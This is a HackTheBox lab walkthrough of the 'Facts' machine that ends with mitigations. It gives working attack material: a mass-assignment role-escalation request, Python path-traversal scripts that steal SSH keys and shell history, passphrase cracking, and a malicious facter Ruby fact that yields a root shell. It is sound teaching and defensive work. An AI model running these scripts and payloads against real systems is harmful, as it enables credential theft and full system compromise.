sudo NOPASSWD permissions over facter with a malicious custom Ruby fact.HackTheBox Linux Easy
πΊοΈ Machine Info#
| Field | Detail |
|---|---|
| Name | Facts |
| OS | Linux (Ubuntu 25.04 β GNU/Linux 6.14.0) |
| Difficulty | Easy |
| IP | 10.129.20.171 |
| Techniques | Mass Assignment Β· Path Traversal Β· SSH Key Cracking Β· Facter sudo NOPASSWD RCE |
1. Reconnaissance#
1.1 Port Scan#
nmap -p- --open -sS --min-rate 5000 -n -Pn 10.129.20.171PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
54321/tcp open unknownVersion scan on open ports:
nmap -sC -sV -p22,80,54321 10.129.20.171PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.9p1 Ubuntu 3ubuntu3.2
80/tcp open http nginx 1.26.3 (Ubuntu)
|_http-title: Did not follow redirect to http://facts.htb/
54321/tcp open http Golang net/http server
|_http-server-header: MinIO
|_http-title: Did not follow redirect to http://10.129.20.171:9001Open ports:
22β OpenSSH 9.9p1 (available for later access)80β nginx with virtual hostfacts.htbβ needs to be added to/etc/hosts54321β MinIO (S3-compatible object storage) redirecting to admin console on port 9001, not exposed externally
π‘ Key detail: Port 54321 runs MinIO, an object storage service. The admin console (9001) isn’t externally accessible, but the existence of an S3-compatible service may be relevant for the web application’s uploaders.
echo "10.129.20.171 facts.htb" >> /etc/hosts1.2 Web Enumeration β Camaleon CMS#
Directory fuzzing on http://facts.htb/:
ffuf -u http://facts.htb/FUZZ \
-w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \
-ic -c[Status: 302] admin β redirects to login
[Status: 200] index
[Status: 200] search
[Status: 200] page
[Status: 200] postWe find an admin panel at /admin. We register a normal user account to explore the application and identify Camaleon CMS version 2.9.
With our newly created account we only have access to edit our own profile. The panel shows:
- #ID: 5
- Login: test
- Role: Client

π‘ Attack surface: We have a user account with the
Clientrole and access to the password change endpoint. In Rails, password change forms typically pass data directly to theUsermodel. If the backend doesn’t explicitly filter which fields the user can modify, it could be vulnerable to Mass Assignment.
2. Exploitation β CVE-2025-2304 (Mass Assignment: Role Escalation)#
2.1 Vulnerability Analysis#
Camaleon CMS 2.9 doesn’t properly filter the parameters a user can send when updating their profile. When sending a POST request to the password change endpoint, the backend accepts any field of the User model, including role. This is known as Mass Assignment β the attacker can modify fields that should be read-only.
Normal flow: user sends password + password_confirmation β only the password is updated
Malicious flow: user adds &password[role]=admin β the backend also updates the role field2.2 Step-by-Step Exploitation#
Step 1 β Configure Burp Suite as proxy and intercept the password change:
In Firefox: Settings β General β Network settings β Manual proxy configuration:
- HTTP Proxy:
127.0.0.1, Port8080

In the user profile, click “Change Password” with Intercept active in Burp Suite.

Step 2 β Modify the intercepted POST request:
The original request has this body:
authenticity_token=...&password=test1234&password_confirmation=test1234We add &password[role]=admin before forwarding:
authenticity_token=...&password=test1234&password_confirmation=test1234&password[role]=admin
Step 3 β Verify the escalation:
After forwarding the request and reloading the profile, the Role field now shows “Administrator”.

π We are CMS administrators without knowing any admin password.
β Role escalated to Administrator via Mass Assignment (CVE-2025-2304).
3. Exploitation β CVE-2026-1776 (Camaleon CMS Path Traversal via AWS Uploader)#
3.1 Vulnerability Analysis#
The /admin/media/download_private_file endpoint in Camaleon CMS’s AWS uploader plugin doesn’t validate the path of the file parameter with the valid_folder_path? function, unlike the local uploader which does. This allows an authenticated admin to read any file on the system via path traversal (../../).
Normal flow: GET /admin/media/download_private_file?file=uploads/image.png β serves the file
Malicious flow: GET /admin/media/download_private_file?file=../../etc/passwd β reads the filesystem3.2 Phase 1 β Confirmation and Reading /etc/passwd#
We use a Python script with the admin session cookie obtained from the browser:
#!/usr/bin/env python3
"""
CVE-2026-1776 - Camaleon CMS Path Traversal via AWS Uploader
Affects: versions 2.4.5.0 - 2.9.0 (before commit f54a77e)
"""
import requests
from urllib.parse import urljoin
TARGET_URL = "http://facts.htb/"
ENDPOINT = "/admin/media/download_private_file"
SESSION_VAR = "_factsap_session"
SESSION_VAL = "lNF74a7lw4..." # Admin session cookie from browser
AUTH_TOKEN = "1QGOA6YxgFANPE6XlGYPpg..."
HEADERS = {
"Cookie": f"{SESSION_VAR}={SESSION_VAL}; auth_token={AUTH_TOKEN}",
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:140.0)",
"X-Requested-With": "XMLHttpRequest",
}
TARGET_FILES = [
"../../../../../../../../../../etc/passwd",
"../../../../../../../../../../config/database.yml",
"../../../../../../../../../../app/.env",
]
for payload in TARGET_FILES:
r = requests.get(
urljoin(TARGET_URL, ENDPOINT),
headers=HEADERS,
params={"file": payload},
allow_redirects=False,
timeout=8,
)
if r.status_code == 200 and r.text.strip():
filename = payload.split("/")[-1]
print(f"\n[+] {filename} ({len(r.text)} bytes):\n{r.text[:500]}")Result:
[+] passwd (1809 bytes):
root:x:0:0:root:/root:/bin/bash
...
trivia:x:1000:1000:facts.htb:/home/trivia:/bin/bash
william:x:1001:1001::/home/william:/bin/bashπ‘ Shell users identified:
trivia(uid=1000) β web application userwilliam(uid=1001) β secondary user
3.3 Phase 2 β Targeted Credential Extraction#
With users identified, we run a second script focused on SSH keys, shell history, and flags:
#!/usr/bin/env python3
"""CVE-2026-1776 - Phase 2: Targeted credential extraction"""
import requests
from urllib.parse import urljoin
TARGET_URL = "http://facts.htb/"
ENDPOINT = "/admin/media/download_private_file"
HEADERS = { ... } # Same headers as Phase 1
DEPTH = "../../../../../../../../../../"
TARGETS = {
"SSH": [
("trivia_id_ed25519", f"{DEPTH}home/trivia/.ssh/id_ed25519"),
("trivia_authorized", f"{DEPTH}home/trivia/.ssh/authorized_keys"),
("william_id_ed25519", f"{DEPTH}home/william/.ssh/id_ed25519"),
("root_id_rsa", f"{DEPTH}root/.ssh/id_rsa"),
],
"HISTORY": [
("trivia_bash_history", f"{DEPTH}home/trivia/.bash_history"),
("william_bash_history", f"{DEPTH}home/william/.bash_history"),
],
"FLAGS": [
("user_flag_william", f"{DEPTH}home/william/user.txt"),
("user_flag_trivia", f"{DEPTH}home/trivia/user.txt"),
("root_flag", f"{DEPTH}root/root.txt"),
],
}
def fetch(payload):
r = requests.get(
urljoin(TARGET_URL, ENDPOINT),
headers=HEADERS,
params={"file": payload},
allow_redirects=False,
timeout=8,
)
if r.status_code == 200 and r.text.strip():
return True, r.text
return False, f"HTTP {r.status_code}"
for category, items in TARGETS.items():
print(f"\n=== {category} ===")
for name, payload in items:
ok, content = fetch(payload)
if ok:
print(f"[+] {name} ({len(content)} bytes)")
with open(f"loot_{name}.txt", "w") as f:
f.write(content)
else:
print(f"[-] {name} -> {content}")Files recovered:
loot_trivia_id_ed25519.txt β Encrypted SSH private key of trivia
loot_trivia_authorized.txt β Authorized public key of trivia
loot_user_flag_william.txt β User flag (william)4. User Flag#
William’s user flag is obtained directly via Path Traversal, without needing SSH authentication:
cat loot_user_flag_william.txtπ User flag obtained.
5. SSH Key Cracking β Access as trivia#
Trivia’s private key is encrypted with a passphrase (bcrypt/AES algorithm, 24 iterations). We crack it with John the Ripper:
# Convert the key to the hash format John understands
ssh2john loot_trivia_id_ed25519.txt > hash.hash
# Attack with the rockyou dictionary
john hash.hash --wordlist=/usr/share/wordlists/rockyou.txtdragonballz (loot_trivia_id_ed25519.txt)
1g 0:00:04:17 DONE β Session completed.π Passphrase found:
dragonballz
chmod 600 loot_trivia_id_ed25519.txt
ssh -i loot_trivia_id_ed25519.txt trivia@10.129.20.171
# Passphrase: dragonballzWelcome to Ubuntu 25.04 (GNU/Linux 6.14.0-37-generic x86_64)
trivia@facts:~$β
Shell obtained as trivia.
6. Privilege Escalation β Facter NOPASSWD sudo#
6.1 Sudo Permission Enumeration#
trivia@facts:~$ sudo -lUser trivia may run the following commands on facts:
(ALL) NOPASSWD: /usr/bin/facter6.2 Escalation Vector Analysis#
facter is a tool in the Puppet ecosystem that collects system information (“facts”) by executing Ruby code. It supports custom facts β external Ruby scripts that the user can provide with the --custom-dir flag. When facter runs as root via sudo, any Ruby code in those scripts executes with root privileges.
Normal flow: sudo facter β collects system information and prints it
Malicious flow: sudo facter --custom-dir /tmp/pwn β executes our malicious Ruby as rootπ‘ Difference from SUID: A binary with SUID always executes with the file owner’s UID. Here the risk comes from the tool’s design:
facteris designed to execute arbitrary Ruby code as part of its custom facts functionality. It’s a legitimate attack surface that becomes critical when combined with unrestricted sudo arguments.
6.3 Exploitation#
Step 1 β Create the directory and the malicious custom fact:
trivia@facts:/tmp$ mkdir -p /tmp/pwn
trivia@facts:/tmp$ cat > /tmp/pwn/root.rb << 'EOF'
Facter.add('rootshell') do
setcode do
system('/bin/bash -p')
'done'
end
end
EOFWhen facter loads the custom fact, it executes the setcode block as part of the evaluation. Running with sudo, that block executes with EUID=0, spawning a root shell.
Step 2 β Execute facter pointing to the malicious directory:
trivia@facts:/tmp$ sudo /usr/bin/facter --custom-dir /tmp/pwn rootshellroot@facts:/tmp#β Root shell obtained via malicious Ruby custom fact in Facter with sudo NOPASSWD.
7. Root Flag#
root@facts:/tmp# cat /root/root.txtπ Root flag obtained.
8. Summary and Lessons Learned#
Compromise path:
- Recon β Port 80 with Camaleon CMS 2.9 (
facts.htb); Port 54321 with MinIO. - Mass Assignment (CVE-2025-2304) β Register as normal user + Burp Suite β
&password[role]=adminβ role escalated to Administrator without a password. - Path Traversal (CVE-2026-1776) β AWS uploader doesn’t validate paths β LFI on
/admin/media/download_private_fileβ/etc/passwd(users) +id_ed25519of trivia + william’s flag βuser.txt. - SSH Key Cracking β
ssh2john+john+rockyou.txtβ passphrasedragonballzβ shell astrivia. - PrivEsc β
sudo -lrevealsfacterNOPASSWD β Ruby custom fact withsystem('/bin/bash -p')β root shell βroot.txt.
What I learned from this machine:
Mass Assignment is invisible without an active source code review. There’s no external signal that the endpoint is vulnerable β everything looks like a normal password change form. The defense is using
strong_parametersin Rails to explicitly list allowed fields (permit(:password, :password_confirmation)) and nothing more. The problem is that modern frameworks make it very easy to forget this with a carelessupdate(params[:user]).Path traversal in an uploader is especially dangerous because the endpoint legitimately accesses the filesystem. The discrepancy between the local uploader (which does validate with
valid_folder_path?) and the AWS uploader (which doesn’t) shows how a feature can be patched in one place but not another. When auditing path traversal, verify all endpoints that touch the filesystem, not just the obvious ones.SSH key passphrases are a real security factor, but only if they’re strong.
dragonballzis inrockyou.txtand cracked in 4 minutes. An SSH key without a passphrase is directly reusable by anyone who steals it; with a weak passphrase, the time gained is minimal. The defense is treating the passphrase like a critical password: long, random, and stored in a password manager.sudo NOPASSWDover tools that execute external code is equivalent to giving direct root.facter --custom-diris a clear case: the tool is designed to execute arbitrary Ruby. Granting sudo without restricting arguments (there’s no--no-custom-dirflag, so the only option is removing the sudoers entry) is equivalent to a root shell for any member of the group. The principle: before adding a NOPASSWD entry, verify the binary has no mechanism for arbitrary code execution.Chaining vulnerabilities of different severity can result in full compromise. None of the individual vulnerabilities alone would have been sufficient: Mass Assignment without admin access doesn’t give a foothold; Path Traversal without admin is inaccessible; the SSH key without Path Traversal can’t be obtained. The full chain shows why scoring isolated vulnerabilities can underestimate the real risk in a system.
Mitigations:
| Vector | Mitigation |
|---|---|
| CVE-2025-2304 (Mass Assignment) | Use strong_parameters in Rails: permit(:password, :password_confirmation) β never accept role as a user-editable parameter |
| CVE-2026-1776 (Path Traversal) | Update Camaleon to a version after commit f54a77e; apply valid_folder_path? in all uploaders, not just the local one |
| SSH key with weak passphrase | Use long, random passphrases (20+ characters); consider hardware tokens (YubiKey) |
facter with sudo NOPASSWD | Remove the sudoers entry; if it must be kept, run facter in a wrapper that disables custom facts (--no-custom-dir doesn’t exist β the only safe option is removing the privilege) |